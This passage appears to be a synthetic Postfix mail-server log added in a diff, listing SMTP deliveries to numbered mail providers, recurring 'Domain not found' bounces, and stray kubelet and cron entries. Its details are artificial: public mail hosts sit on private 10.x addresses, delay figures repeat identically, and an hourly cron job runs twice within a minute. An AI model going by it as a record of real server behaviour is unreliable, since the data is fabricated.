relay=mx.emailprovider1.com[10.205.203.61]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DC2B1D5E) +Aug 26 14:03:50 mail-server postfix/smtp[13780]: 226B4EAA: to=, relay=mx.emailprovider1.com[10.112.246.239]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F96A2C3F) +Aug 26 14:03:50 mail-server postfix/smtp[11321]: 4E315C10: to=, relay=mx.emailprovider1.com[10.186.234.231]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 57425B4D) +Aug 26 14:03:50 mail-server postfix/smtp[13059]: 54729FE0: to=, relay=mx.emailprovider2.com[10.90.233.63]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4BBAEFEA) +Aug 26 14:03:55 mail-server postfix/smtp[14514]: 6B789AA6: to=, relay=mx.emailprovider4.com[10.234.102.62]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C142649F) +Aug 26 14:03:55 mail-server postfix/smtp[13614]: D1A4F5AF: to=, relay=mx.emailprovider3.com[10.123.17.79]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E2D85A84) +Aug 26 14:03:55 mail-server postfix/smtp[10579]: 526A1933: to=, relay=mx.emailprovider1.com[10.243.70.224]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1D3E9B05) +Aug 26 14:03:55 mail-server postfix/smtp[12542]: 8FDF117E: to=, relay=mx.emailprovider2.com[10.103.217.45]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7D97DA39) +Aug 26 14:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 14:04:00 mail-server postfix/cleanup[12280]: 9DDBF398: message-id= +Aug 26 14:04:00 mail-server postfix/smtp[17204]: 1CE5F661: to=, relay=mx.emailprovider1.com[10.174.78.113]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.174.78.113]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:00 mail-server postfix/smtp[10620]: 9ACC89B3: to=, relay=mx.emailprovider1.com[10.8.37.151]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7EE06DED) +Aug 26 14:04:00 mail-server postfix/smtp[17971]: 656D5B35: to=, relay=mx.emailprovider1.com[10.39.57.11]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 44FF429A) +Aug 26 14:04:00 mail-server postfix/smtp[16176]: 5BAC5D20: to=, relay=mx.emailprovider4.com[10.123.207.137]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 454FA4E0) +Aug 26 14:04:00 mail-server postfix/cleanup[15392]: 23509B98: message-id= +Aug 26 14:04:00 mail-server postfix/smtp[16633]: F2377203: to=, relay=mx.emailprovider3.com[10.52.132.80]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.52.132.80]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:05 mail-server postfix/smtp[12061]: D034F3C9: to=, relay=mx.emailprovider3.com[10.12.99.130]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 21CBED27) +Aug 26 14:04:05 mail-server postfix/smtp[11062]: 90767601: to=, relay=mx.emailprovider2.com[10.249.210.215]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F1C6DF53) +Aug 26 14:04:05 mail-server postfix/smtp[18059]: FAAE367E: to=, relay=mx.emailprovider1.com[10.54.181.121]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 064ACDBE) +Aug 26 14:04:05 mail-server postfix/smtp[10889]: 6E5CC35B: to=, relay=mx.emailprovider4.com[10.107.253.82]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 75547C06) +Aug 26 14:04:05 mail-server postfix/smtp[13572]: BE08FFF3: to=, relay=mx.emailprovider4.com[10.92.196.141]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 08FCC585) +Aug 26 14:04:05 mail-server postfix/smtp[13754]: DAD47401: to=, relay=mx.emailprovider2.com[10.20.40.217]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2C58A045) +Aug 26 14:04:10 mail-server postfix/smtp[12426]: 995FF2C6: to=, relay=mx.emailprovider1.com[10.234.22.232]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 32DF0492) +Aug 26 14:04:10 mail-server postfix/smtp[17582]: 33BA4BE8: to=, relay=mx.emailprovider1.com[10.201.206.242]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E91E8CB4) +Aug 26 14:04:10 mail-server postfix/smtp[13830]: 170C8002: to=, relay=mx.emailprovider3.com[10.26.241.170]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6015E766) +Aug 26 14:04:10 mail-server postfix/smtp[18434]: 57DC4CFE: to=, relay=mx.emailprovider3.com[10.88.115.203]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C4D6C047) +Aug 26 14:04:10 mail-server postfix/smtp[19067]: 9565E5F0: to=, relay=mx.emailprovider3.com[10.139.114.206]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D3195BFC) +Aug 26 14:04:15 mail-server postfix/smtp[19554]: 42354E71: to=, relay=mx.emailprovider4.com[10.116.63.204]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B0B2D926) +Aug 26 14:04:15 mail-server postfix/smtp[13091]: CEC79E76: to=, relay=mx.emailprovider3.com[10.218.76.141]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9B5F3ADA) +Aug 26 14:04:15 mail-server postfix/cleanup[12349]: 651E0105: message-id= +Aug 26 14:04:15 mail-server postfix/smtp[16666]: 52C5D483: to=, relay=mx.emailprovider3.com[10.254.31.101]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.254.31.101]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:15 mail-server postfix/cleanup[17839]: DCF9E9C1: message-id= +Aug 26 14:04:15 mail-server postfix/smtp[16452]: 59B7AB34: to=, relay=mx.emailprovider4.com[10.236.207.155]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.236.207.155]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:15 mail-server postfix/smtp[16734]: 956E6A2D: to=, relay=mx.emailprovider4.com[10.219.117.102]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4CDB52AF) +Aug 26 14:04:15 mail-server postfix/smtp[11410]: 4AE60DF9: to=, relay=mx.emailprovider2.com[10.181.77.28]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4F7A7B06) +Aug 26 14:04:15 mail-server postfix/smtp[17351]: F1AA9E14: to=, relay=mx.emailprovider2.com[10.22.7.96]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B0BFA342) +Aug 26 14:04:15 mail-server postfix/smtp[17730]: 839395A0: to=, relay=mx.emailprovider3.com[10.88.119.230]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0365279C) +Aug 26 14:04:20 mail-server postfix/smtp[18028]: F8291529: to=, relay=mx.emailprovider4.com[10.97.124.134]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1E8F2E96) +Aug 26 14:04:20 mail-server postfix/smtp[14832]: 63D6AA50: to=, relay=mx.emailprovider1.com[10.79.219.150]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9BA37240) +Aug 26 14:04:20 mail-server postfix/smtp[17357]: 03CAA030: to=, relay=mx.emailprovider2.com[10.133.99.165]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7B0686A3) +Aug 26 14:04:20 mail-server postfix/smtp[10464]: 82E23AE9: to=, relay=mx.emailprovider1.com[10.154.190.126]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as AFAB6344) +Aug 26 14:04:25 mail-server postfix/smtp[14146]: 4E7ADBAB: to=, relay=mx.emailprovider2.com[10.28.5.36]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B144AC90) +Aug 26 14:04:25 mail-server postfix/smtp[13578]: 426F6964: to=, relay=mx.emailprovider2.com[10.225.15.77]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3AC8D8B6) +Aug 26 14:04:25 mail-server postfix/smtp[17908]: BFB0F1E8: to=, relay=mx.emailprovider1.com[10.50.2.106]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 55C96CB7) +Aug 26 14:04:25 mail-server postfix/smtp[10399]: A19A660A: to=, relay=mx.emailprovider2.com[10.42.151.174]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 65A43AB1) +Aug 26 14:04:25 mail-server postfix/smtp[19154]: 052FE35C: to=, relay=mx.emailprovider3.com[10.161.116.201]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D2F52274) +Aug 26 14:04:30 mail-server postfix/smtp[15922]: 542AA49C: to=, relay=mx.emailprovider2.com[10.49.180.117]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C70EBC0D) +Aug 26 14:04:30 mail-server postfix/smtp[19312]: 2062811F: to=, relay=mx.emailprovider2.com[10.146.146.95]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F8B2C7A3) +Aug 26 14:04:30 mail-server postfix/cleanup[19219]: D0D144CF: message-id= +Aug 26 14:04:30 mail-server postfix/smtp[11101]: 8C949A5C: to=, relay=mx.emailprovider3.com[10.164.151.69]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.164.151.69]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:30 mail-server postfix/smtp[10118]: 61FA0050: to=, relay=mx.emailprovider3.com[10.126.85.79]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D350F7D0) +Aug 26 14:04:35 mail-server postfix/smtp[12472]: 51A79F52: to=, relay=mx.emailprovider4.com[10.218.91.150]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 36045422) +Aug 26 14:04:35 mail-server postfix/smtp[16502]: 66DB2A08: to=, relay=mx.emailprovider3.com[10.56.82.94]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3B59D63D) +Aug 26 14:04:35 mail-server postfix/smtp[12842]: 2A5295BD: to=, relay=mx.emailprovider1.com[10.74.93.26]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FDB34610) +Aug 26 14:04:35 mail-server postfix/smtp[15838]: 97BA966B: to=, relay=mx.emailprovider1.com[10.239.60.243]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4E59637C) +Aug 26 14:04:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:04:40 mail-server postfix/smtp[10299]: 907CE37D: to=, relay=mx.emailprovider1.com[10.103.241.144]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6C2E8410) +Aug 26 14:04:40 mail-server postfix/smtp[12542]: EAE465C6: to=, relay=mx.emailprovider3.com[10.238.214.133]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6185F757) +Aug 26 14:04:40 mail-server postfix/smtp[11720]: DD11B5C8: to=, relay=mx.emailprovider1.com[10.168.91.197]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E0ACEEBA) +Aug 26 14:04:45 mail-server postfix/cleanup[16690]: E82EE84A: message-id= +Aug 26 14:04:45 mail-server postfix/smtp[13240]: D6DFE02C: to=, relay=mx.emailprovider3.com[10.20.94.250]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.20.94.250]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:45 mail-server postfix/smtp[14248]: 5BE1DB5A: to=, relay=mx.emailprovider1.com[10.126.226.40]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3B316C2F) +Aug 26 14:04:45 mail-server postfix/smtp[16386]: D4F5C170: to=, relay=mx.emailprovider4.com[10.90.216.224]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 10CD9BD3) +Aug 26 14:04:45 mail-server postfix/smtp[16403]: F56148D3: to=, relay=mx.emailprovider1.com[10.80.77.153]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 327DEB03) +Aug 26 14:04:45 mail-server postfix/cleanup[12229]: 932DE6EF: message-id= +Aug 26 14:04:45 mail-server postfix/smtp[16751]: E5DA8DE0: to=, relay=mx.emailprovider2.com[10.17.183.150]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider2.com[10.17.183.150]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:04:45 mail-server postfix/smtp[15776]: 4F3354C5: to=, relay=mx.emailprovider1.com[10.12.148.39]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 95F1BD6A) +Aug 26 14:04:45 mail-server postfix/smtp[14059]: 95ED5853: to=, relay=mx.emailprovider3.com[10.1.200.199]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6D4ED6F7) +Aug 26 14:04:50 mail-server postfix/smtp[13900]: 6E7E9A7D: to=, relay=mx.emailprovider1.com[10.194.43.172]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7060FC74) +Aug 26 14:04:50 mail-server postfix/smtp[14139]: FD4EF441: to=, relay=mx.emailprovider1.com[10.183.254.37]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A178DFC0) +Aug 26 14:04:50 mail-server postfix/smtp[18026]: 82A4CB9F: to=, relay=mx.emailprovider1.com[10.169.139.254]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4EE69646) +Aug 26 14:04:50 mail-server postfix/smtp[11584]: 489B6966: to=, relay=mx.emailprovider3.com[10.120.164.39]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F7010783) +Aug 26 14:04:50 mail-server postfix/smtp[10760]: 84C0C145: to=, relay=mx.emailprovider4.com[10.11.145.175]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 116DB64B) +Aug 26 14:04:50 mail-server postfix/smtp[16553]: 13191823: to=, relay=mx.emailprovider2.com[10.109.13.18]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D9F4988C) +Aug 26 14:04:55 mail-server postfix/smtp[15578]: CB2F2311: to=, relay=mx.emailprovider4.com[10.162.70.88]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1DE03DE9) +Aug 26 14:04:55 mail-server postfix/smtp[17544]: 669E600E: to=, relay=mx.emailprovider1.com[10.20.173.183]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5E9C7EC9) +Aug 26 14:04:55 mail-server postfix/smtp[16888]: 43956BF0: to=, relay=mx.emailprovider4.com[10.250.139.226]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 226B50FA) +Aug 26 14:04:55 mail-server postfix/smtp[11788]: 2509E833: to=, relay=mx.emailprovider4.com[10.3.180.186]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5382AB54) +Aug 26 14:05:00 mail-server postfix/smtp[14406]: EDDA88E7: to=, relay=mx.emailprovider2.com[10.79.254.35]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C3A728DB) +Aug 26 14:05:00 mail-server postfix/cleanup[19561]: B8029B35: message-id= +Aug 26 14:05:00 mail-server postfix/smtp[15058]: E5B00CBE: to=, relay=mx.emailprovider2.com[10.177.43.161]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider2.com[10.177.43.161]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:00 mail-server postfix/smtp[16283]: BC83A5D5: to=, relay=mx.emailprovider4.com[10.190.110.167]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BB4607D4) +Aug 26 14:05:00 mail-server postfix/smtp[10940]: 97E66A9D: to=, relay=mx.emailprovider2.com[10.236.210.251]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5D45B472) +Aug 26 14:05:00 mail-server postfix/smtp[18324]: C4F9A05A: to=, relay=mx.emailprovider3.com[10.121.19.143]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 642A1019) +Aug 26 14:05:00 mail-server postfix/smtp[17758]: 290E9A15: to=, relay=mx.emailprovider4.com[10.90.173.231]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BF8DB9FB) +Aug 26 14:05:00 mail-server postfix/cleanup[11863]: 18407887: message-id= +Aug 26 14:05:00 mail-server postfix/smtp[19989]: 330EE536: to=, relay=mx.emailprovider1.com[10.53.146.106]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.53.146.106]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:05 mail-server postfix/smtp[19304]: 657C588A: to=, relay=mx.emailprovider3.com[10.171.212.22]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 59F77621) +Aug 26 14:05:05 mail-server postfix/smtp[15596]: 19E72F48: to=, relay=mx.emailprovider1.com[10.214.45.116]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3DC2A3DC) +Aug 26 14:05:05 mail-server postfix/smtp[15251]: 230F700A: to=, relay=mx.emailprovider4.com[10.43.61.206]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DAB79483) +Aug 26 14:05:05 mail-server postfix/smtp[19624]: AA5D40D3: to=, relay=mx.emailprovider1.com[10.202.251.219]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 89C57F85) +Aug 26 14:05:05 mail-server postfix/smtp[16432]: 8473D08E: to=, relay=mx.emailprovider2.com[10.219.25.186]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D1BC45D6) +Aug 26 14:05:10 mail-server postfix/smtp[11764]: 51BEF6BE: to=, relay=mx.emailprovider3.com[10.99.164.149]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A4B9EA49) +Aug 26 14:05:10 mail-server postfix/smtp[19438]: 657A0250: to=, relay=mx.emailprovider2.com[10.96.137.177]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3B17933D) +Aug 26 14:05:10 mail-server postfix/smtp[19400]: 86D08135: to=, relay=mx.emailprovider2.com[10.147.224.114]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5AC2B800) +Aug 26 14:05:15 mail-server postfix/smtp[16653]: 11BC9EE2: to=, relay=mx.emailprovider1.com[10.81.61.152]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9EC69697) +Aug 26 14:05:15 mail-server postfix/cleanup[17155]: 9163E45C: message-id= +Aug 26 14:05:15 mail-server postfix/smtp[17603]: EF792AD5: to=, relay=mx.emailprovider2.com[10.50.108.129]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider2.com[10.50.108.129]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:15 mail-server postfix/smtp[18017]: 3FD1A702: to=, relay=mx.emailprovider3.com[10.138.43.61]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D5B3C891) +Aug 26 14:05:15 mail-server postfix/smtp[11409]: E378DB9A: to=, relay=mx.emailprovider3.com[10.215.198.140]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8E5318D2) +Aug 26 14:05:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:05:20 mail-server postfix/smtp[18960]: BFBE386E: to=, relay=mx.emailprovider1.com[10.11.84.51]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C68B6230) +Aug 26 14:05:20 mail-server postfix/smtp[14755]: 7C8850C3: to=, relay=mx.emailprovider3.com[10.122.74.214]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1E593130) +Aug 26 14:05:20 mail-server postfix/smtp[11223]: 37F162C5: to=, relay=mx.emailprovider1.com[10.143.204.89]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A5E33E7B) +Aug 26 14:05:25 mail-server postfix/smtp[12568]: 8DE3F1FC: to=, relay=mx.emailprovider3.com[10.229.77.132]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as CC005A07) +Aug 26 14:05:25 mail-server postfix/smtp[12705]: 4DAADCCA: to=, relay=mx.emailprovider3.com[10.133.195.64]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as CDD9F42F) +Aug 26 14:05:25 mail-server postfix/smtp[19423]: EA8DD854: to=, relay=mx.emailprovider4.com[10.15.8.208]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 24BE42AF) +Aug 26 14:05:25 mail-server postfix/smtp[10155]: A3D047D5: to=, relay=mx.emailprovider3.com[10.178.47.184]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B172AFB1) +Aug 26 14:05:25 mail-server postfix/smtp[15649]: F2C68A18: to=, relay=mx.emailprovider3.com[10.205.206.117]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 76481EBE) +Aug 26 14:05:30 mail-server postfix/cleanup[15286]: 62690E48: message-id= +Aug 26 14:05:30 mail-server postfix/smtp[17141]: 747C1D30: to=, relay=mx.emailprovider4.com[10.195.209.4]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.195.209.4]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:30 mail-server postfix/smtp[16716]: 6D68A904: to=, relay=mx.emailprovider1.com[10.114.78.182]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DD54C798) +Aug 26 14:05:30 mail-server postfix/smtp[14593]: E2633197: to=, relay=mx.emailprovider4.com[10.146.241.142]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D2639C61) +Aug 26 14:05:30 mail-server postfix/smtp[12269]: 4CC41094: to=, relay=mx.emailprovider3.com[10.210.62.86]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B7ACF390) +Aug 26 14:05:30 mail-server postfix/cleanup[11245]: 3D9B8BE0: message-id= +Aug 26 14:05:30 mail-server postfix/smtp[15284]: 7C626F50: to=, relay=mx.emailprovider2.com[10.112.18.37]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider2.com[10.112.18.37]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:30 mail-server postfix/smtp[14661]: 9C744634: to=, relay=mx.emailprovider3.com[10.106.33.1]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D0FC0C6F) +Aug 26 14:05:30 mail-server postfix/smtp[17692]: 3D703638: to=, relay=mx.emailprovider3.com[10.208.85.116]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B6CA3009) +Aug 26 14:05:30 mail-server postfix/smtp[18337]: E39DE6E0: to=, relay=mx.emailprovider4.com[10.229.96.4]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 451A938E) +Aug 26 14:05:35 mail-server postfix/smtp[15316]: 1CFDA110: to=, relay=mx.emailprovider4.com[10.244.8.18]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FC9C267B) +Aug 26 14:05:35 mail-server postfix/smtp[11588]: F965D1BA: to=, relay=mx.emailprovider4.com[10.39.214.193]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B187C32F) +Aug 26 14:05:35 mail-server postfix/smtp[14544]: 4442B6A4: to=, relay=mx.emailprovider4.com[10.63.88.179]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2DD65D96) +Aug 26 14:05:35 mail-server postfix/smtp[19254]: BD430C5D: to=, relay=mx.emailprovider2.com[10.29.147.43]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A3513DB9) +Aug 26 14:05:35 mail-server postfix/smtp[14688]: 2A4088F7: to=, relay=mx.emailprovider2.com[10.136.253.159]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8024BD6A) +Aug 26 14:05:40 mail-server postfix/smtp[11430]: EF8FE012: to=, relay=mx.emailprovider2.com[10.155.210.9]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 58952A60) +Aug 26 14:05:40 mail-server postfix/smtp[11028]: 74D7BF99: to=, relay=mx.emailprovider4.com[10.221.213.49]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 55B24375) +Aug 26 14:05:40 mail-server postfix/smtp[18921]: 7E7F2004: to=, relay=mx.emailprovider4.com[10.188.66.61]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 710594DA) +Aug 26 14:05:40 mail-server postfix/smtp[12620]: 1682D686: to=, relay=mx.emailprovider1.com[10.113.206.122]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8A7E387E) 